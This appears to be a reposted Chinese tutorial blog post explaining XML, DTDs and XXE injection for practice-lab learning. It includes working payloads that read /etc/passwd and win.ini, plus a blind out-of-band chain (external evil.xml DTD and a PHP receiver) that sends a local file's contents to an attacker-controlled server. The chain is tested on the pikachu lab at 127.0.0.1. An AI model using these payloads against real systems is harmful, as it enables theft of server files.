XXE
2021/4/20 10:27:17
本文主要是介绍XXE,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
XXE原理介绍
XXE Injection即XML External Entity Injection。也就是外部实体注入攻击。漏洞是由在处理不安全的外部实体数据时造成的。
在了解xxe漏洞之前我们需要对xml有所了解。
xml
xml与html的区别为:xml是传输和储存数据的。html的作用是显示数据的。
xml的结构是树结构,从根出发再到叶
<?xml version="1.0" encoding="UTF-8"?> //表达版本和编码方式 <note> //根元素 <to>Tove</to> //4个子元素 <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
xml的自我表达力很强。从标签和定义的元素上就可以看出想要表达什么。
xml语法表达
1.得有xml声明
2.xml文档一定得有根元素
3.必须有闭合标签
4.大小写敏感
5.属性值必须加引号
6.实体引用
xml元素与属性
元素:XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。 <123>Harry Potter</123>
属性:属性(Attribute)提供有关元素的额外信息。
<123 name=‘George “Shotgun” Ziegler’>
可参考文章:
xml属性
xml元素
DTD声明
<?xml version="1.0"?> <!DOCTYPE note [ //声明了根元素 <!ELEMENT note (to,from,heading,body)> //声明子元素 <!ELEMENT to (#PCDATA)> //下面个子元素都是可以编辑型 <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> //进行匹配文档的书写 <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend</body> </note>
引用一张图片:XML外部实体注入小结
xxe危害
1.本地敏感文件读取
2.主机探测,端口扫描
3.文件上传
4.命令执行
任意文件读取
在linux中查看passwd
<?xml version="1.0"?> <!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]> <c>&b;</c>
在windows中查看win.ini
<?xml version="1.0"?> <!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]> <c>&b;</c>
文件读取分为有回显和无回显
1.有回显
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY xxe "123" > ]> <a>&xxe;</a>
直接进行文件读取
当然这种特殊符号少的就不会进行报错,如果特殊符号多就不会回显。我们就可以使用CDATA,不进行解析。
2.无回显
我们先把靶场的显示函数注释掉。
现在我们就是一个无回显的环境。
对于我们的blind xxe我们一般思路是使用外带数据通道进行信息读取。首先进行一个信息读取,使用flie://或者php://filte协议。然后将数据发送到我们的攻击机。
我们这里使用环回地址进行测试:127.0.0.1
思路大概就是这样,我们来构造playload
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/1.txt"> <!ENTITY % remote SYSTEM "http://127.0.0.1/evil.xml"> %remote; %all; ]> <root>&send;</root>
evil.txt内容
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/1.php?file=%file;'>">
1.php内容
<?php file_put_contents("2.txt", $_GET['file']); ?>
攻击流程:
1.先调用%remote,请求evil.txt文件中的内容
2.再调用evil.txt中的%file,获取本地文件。
3.调用%all,进行send。运行file_put_contents函数,我们会在攻击服务器上创建一个2.txt内容。2.txt里的内容就是1.txt里的内容。
我们以pikachu靶场作为案例
这是我们C盘下的1.txt文件
输入playload
生成2.txt文件
成功获取内容
在靶场执行我们的xml内容后,攻击服务器上就会生成2.txt文件
参考文章
1.菜鸟教程
2.XML外部实体注入小结
3.一篇文章带你深入理解漏洞之 XXE 漏洞
4.从XML相关一步一步到XXE漏洞
这篇关于XXE的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-26Mybatis官方生成器资料详解与应用教程
- 2024-11-26Mybatis一级缓存资料详解与实战教程
- 2024-11-26Mybatis一级缓存资料详解:新手快速入门
- 2024-11-26SpringBoot3+JDK17搭建后端资料详尽教程
- 2024-11-26Springboot单体架构搭建资料:新手入门教程
- 2024-11-26Springboot单体架构搭建资料详解与实战教程
- 2024-11-26Springboot框架资料:新手入门教程
- 2024-11-26Springboot企业级开发资料入门教程
- 2024-11-26SpringBoot企业级开发资料详解与实战教程
- 2024-11-26Springboot微服务资料:新手入门全攻略